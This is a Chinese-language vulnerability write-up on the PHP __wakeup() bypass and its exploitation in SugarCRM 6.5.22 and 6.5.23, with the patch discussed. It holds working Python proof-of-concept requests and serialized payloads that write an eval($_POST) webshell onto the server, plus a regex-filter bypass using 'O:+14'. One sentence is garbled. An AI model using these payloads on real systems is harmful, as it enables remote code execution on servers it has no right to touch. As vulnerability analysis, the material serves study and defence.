__wakeup()函數用法
__wakeup()是用在還原序列化操作中。unserialize()會檢查存在一個__wakeup()方法。如果存在,則先會調用__wakeup()方法。
<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>
最後頁面輸出了Hello。在還原序列化的時候存在__wakeup()函數,所以最後就會輸出Hello
__wakeup()函數漏洞說明
<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
}
$s = new Student();
var_dump(serialize($s));
?>
最後頁面上輸出的就是Student對象的一個序列化輸出,
O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。其中在Stuedent類後面有一個數字3,整個3表示的就是Student類存在3個屬性。
__wakeup()漏洞就是與整個屬性個數值有關。當序列化字串表示對象屬性個數的值大於真實個數的屬性時就會跳過__wakeup的執行。
當我們將上述的序列化的字串中的對象屬性修改為5,變為
O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。
最後執行啟動並執行代碼如下:
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
function __destruct() {
var_dump($this);
}
}
$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
可以看到這樣就成功地繞過了__wakeup()函數。
案例
SugarCms存在一個很經典的__wakup()函數繞過的漏洞,網上也有分析文章。但是我發現網上的文章都是針對於6.5.23版本的,我後來有研究了6.5.22的版本。從這個版本的迭代中,可以看到程式員的防禦思維,很值得我們研究和學習。由於在分析的過程中會按照代碼審計的思路,會對其中重要的函數都會進行跟蹤,所以整個分析看起來會比較的複雜和??攏??庹?霾街瓚際腔乖?舜?膁蠹浦械牟街琛?br />我們先從6.5.22版本開始分析。
找到還原序列化語句
在service/core/REST/SugarRestSerialize.php中的SugarRestSerialize類中的server()方法代碼如下:
function serve(){
$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
$er = new SoapError();
$er->set_error('invalid_call');
$this->fault($er);
}else{
$method = $_REQUEST['method'];
$data = unserialize(from_html($data));
if(!is_array($data))$data = array($data);
$GLOBALS['log']->info('End: SugarRestSerialize->serve');
return call_user_func_array(array( $this->implementation, $method),$data);
} // else
} // fn
其中存在$data = unserialize(from_html($data))這樣的序列化語句,而且$data是由$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: ''得到的,是我們可控的。那麼就說明我們是可以控制還原序列化的內容的。
尋找利用點
在找到了序列化語句之後,我們需要找到在哪些對象中可以利用這個還原序列化語句。
在include/SugarCache/SugarCacheFile.php中的存在SugarCacheFile類以及__destruct()方法和__wakeup()方法。
public function __destruct()
{
parent::__destruct();
if ( $this->_cacheChanged )
sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}
/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()
{
// clean all properties
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
throw new Exception("Not a serializable object");
}
我們發現,__wakeup()會將傳入的對象的所有屬性全部清空,__destruct()則主要調用sugar_file_put_contents()函數將serialize($this->_localStore)寫入檔案。
跟進sugar_file_put_contents(),在include/utils/sugar_file_utils.php中,
function sugar_file_put_contents($filename, $data, $flags=null, $context=null){
//check to see if the file exists, if not then use touch to create it.
if(!file_exists($filename)){
sugar_touch($filename);
}
if ( !is_writable($filename) ) {
$GLOBALS['log']->error("File $filename cannot be written to");
return false;
}
if(empty($flags)) {
return file_put_contents($filename, $data);
} elseif(empty($context)) {
return file_put_contents($filename, $data, $flags);
} else{
return file_put_contents($filename, $data, $flags, $context);
}
}
我們發現sugar_file_put_contents()函數並沒有對檔案進行限制,而SugarCacheFile類調用的__destruct中,$data的值就是serialize($this->_localStore)。所以我們只需要出入一個SugarCacheFile類的對象並設定其屬性,這樣我們就可以寫入一個檔案或者是一句話木馬。
但是由於在SugarCacheFile中存在__wakeup()函數會將對象的所有屬性全部清空,所以我們必須要繞過這個函數,那麼就需要利用__wakeup()的漏洞了。
利用
通過上面的分析,我們可以總結出我們的資料整個的傳輸串流程:
$_REQUEST['rest_data']->unserialize(from_html($data))-> __destruct()->sugar_file_put_contents->一句話木馬
在確定了資料轉送流程之後,就需要找到一個這樣的環境或者是檔案。這個檔案調用了SugarRestSerialize.php的serve()方法,並且include檔案SugarCacheFile.php檔案。
一下就是簡要的分析過程。
在service/v4/rest.php
chdir('../..');
require_once('SugarWebServiceImplv4.php');
$webservice_class = 'SugarRestService';
$webservice_path = 'service/core/SugarRestService.php';
$webservice_impl_class = 'SugarWebServiceImplv4';
$registry_class = 'registry';
$location = '/service/v4/rest.php';
$registry_path = 'service/v4/registry.php';
require_once('service/core/webservice.php');
我們發現$webservice_class定義為SugarRestService。
跟蹤其中的service/core/webservice.php
ob_start();
chdir(dirname(__FILE__).'/../../');
require('include/entryPoint.php');
require_once('soap/SoapError.php');
require_once('SoapHelperWebService.php');
require_once('SugarRestUtils.php');
require_once($webservice_path);
require_once($registry_path);
if(isset($webservice_impl_class_path))
require_once($webservice_impl_class_path);
$url = $GLOBALS['sugar_config']['site_url'].$location;
$service = new $webservice_class($url);
$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);
// set the service object in the global scope so that any error, if happens, can be set on this object
global $service_object;
$service_object = $service;
$service->serve();
其中的關鍵代碼部分是:
$service = new $webservice_class($url);
其中的$webservice_class就是在service/v4/rest.php中定義的,為SugarRestService。
跟蹤service/core/SugarRestService.php,發現
在57行的_getTypeName()函數中有
protected function _getTypeName($name)
{
if(empty($name)) return 'SugarRest';
$name = clean_string($name, 'ALPHANUM');
$type = '';
switch(strtolower($name)) {
case 'json':
$type = 'JSON';
break;
case 'rss':
$type = 'RSS';
break;
case 'serialize':
$type = 'Serialize';
break;
}
$classname = "SugarRest$type";
if(!file_exists('service/core/REST/' . $classname . '.php')) {
return 'SugarRest';
}
return $classname;
}
function __construct($url){
$GLOBALS['log']->info('Begin: SugarRestService->__construct');
$this->restURL = $url;
$this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']);
$this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']);
$GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass);
require_once('service/core/REST/'. $this->serverClass . '.php');
$GLOBALS['log']->info('End: SugarRestService->__construct');
} // ctor
當傳入的參數為Serialize,最後就會返回SugarRestSerialize字串,最後就會在建構函式中構造出SugarRestSerialize類。
在86行的建構函式serve()中有
function serve(){
$GLOBALS['log']->info('Begin: SugarRestService->serve');
require_once('service/core/REST/'. $this->responseClass . '.php');
$response = $this->responseClass;
$responseServer = new $response($this->implementation);
$this->server->faultServer = $responseServer;
$responseServer->faultServer = $responseServer;
$responseServer->generateResponse($this->server->serve());
$GLOBALS['log']->info('End: SugarRestService->serve');
} // fn
在serve()函數中就會執行在__construct構造出來的SugarRestSerialize類了。
最後我們就要正在在webservice.php中引用了SugarCacheFile.php檔案。
在webservice.php使用get_included_files()函數來進行得到所引用的所有的檔案,最後發現引入了SugarCache.php,而SugarCache.php引入了SugarCacheFile.php,那麼最後就相當於webservice.php引入了SugarCacheFile.php。
分析到這裡,那麼webservice.php就滿足了上面所說的
這個檔案調用了SugarRestSerialize.php的serve()方法,並且include檔案SugarCacheFile.php檔案。
那個要求了。
其中最關鍵的地方就是序列話語句的構造。
我們在本地運行如下的代碼:
<?php
class SugarCacheFile
{
protected $_cacheFileName = '../custom/1.php';
protected $_localStore = array("<?php eval(\$_POST['bdw']);?>");
protected $_cacheChanged = true;
}
$scf = new SugarCacheFile();
var_dump(serialize($scf));
?>
最後頁面輸出的結果是
O:14:"SugarCacheFile":3:{s:17:"�*�_cacheFileName";s:15:"../custom/1.php";s:14:"�*�_localStore";a:1:{i:0;s:28:"<?php eval($_POST['bdw']);?>";}s:16:"�*�_cacheChanged";b:1;}
為什麼使用var_dump的時候會出現無法顯示的字元?這個字元就是\x0,即在php中的chr(0)字元。這個字元在頁面上是無法顯示的。出現這個字元的原因是和PHP的序列化的實現機制有關,這次就不做說明了。所以實際上的,序列化之後的結果應該是:
1
O:14:"SugarCacheFile":3:{s:17:"\x0*\x0_cacheFileName";s:15:"../custom/1.php";s:14:"\x0*\x0_localStore";a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}s:16:"\x0*\x0_cacheChanged";b:1;}
其中的\x0並不是\x、x、0三個字元,而是chr(0)一個字元。
得到序列化需要的字串之後,那需要進行提交最後的PoC。
Poc Demo如下:
import requests
url = "http://localhost/sugar/service/v4/rest.php"
data = {
'method':'login',
'input_type':'Serialize',
'rest_data':'O:14:"SugarCacheFile":4:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[\'1\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'
}
requests.post(url,data=data)
在上述的payload中有幾點需要注意的問題,首先要修改掉序列化中的屬性值來繞過__wakeup()函數,其次在Python中,chr(0)的表示方法是\\00。
最後就會在custom目錄下得到1.php,木馬的內容就是a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}
最後使用中國菜刀就可以順利連上木馬。
自此漏洞就基本分析完畢。
5.6.23版本
在22版本中,serve()方法是直接使用的unserialize()方法來進行的序列化,$data = unserialize(from_html($data))。
在24中的代碼為:
function serve(){
$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
$er = new SoapError();
$er->set_error('invalid_call');
$this->fault($er);
}else{
$method = $_REQUEST['method'];
$data = sugar_unserialize(from_html($data));
if(!is_array($data))$data = array($data);
$GLOBALS['log']->info('End: SugarRestSerialize->serve');
return call_user_func_array(array( $this->implementation, $method),$data);
} // else
} // fn
其中將$data = unserialize(from_html($data))變為了$data = sugar_unserialize(from_html($data));。
跟蹤sugar_unserialize()方法,
在include/utils.php類有sugar_unserialize方法,
function sugar_unserialize($value)
{
preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}
可以看對序列化的字串進行了過濾,其實主要過濾的就是禁止Object類型被還原序列化。雖然這樣看起是沒有問題的,但是由於PHP的一個BUG,導致仍然可以被繞過。只需要在對象長度前添加一個+號,即o:14->o:+14,這樣就可以繞過正則匹配。關於這個BUG的具體分析,可以參見php反序列unserialize的一個小特性。
最後的PoC就是
import requests
url = "http://localhost/sugar/service/v4/rest.php"
data = {
'method':'login',
'input_type':'Serialize',
'rest_data':'O:+14:"SugarCacheFile":4:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[\'1\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'
}
requests.post(url,data=data)
修複
這個漏洞是知道5.6.24版本才進行修複的,修複的方式也是十分的簡單。
在這個版本中,上述的PoC已經不能夠使用了。以下是修複代碼。
在include/utils.php類有sugar_unserialize方法,
function sugar_unserialize($value)
{
preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}
可以看到,Regex已經變為/[oc]:[^:]*\d+:/i,那麼通過+好來進行繞過的方式已經不適用了,這樣就修複了這個漏洞了。
總結
在我本地執行的,其中有一個非常關鍵的地方在於,需要將payload中的序列化字串中的s改為S,否則同樣無法執行成功。當然我也和別人討論一下,有的人大小寫都可以,有的人一定要用大寫。
可以看到最後的方法就是使用Regex/[oc]:[^:]*\d+:/i來禁止還原序列化Object對象,但是序列化本質的作用就是傳輸對象資料,如果是其他的資料其實就使用傳輸了,所以不知道在SugarCRM中禁止傳輸Object對象卻允許傳輸其他類型的資料有何意義?
最後還要感謝Bendwang的指點,解答了我的很多問題。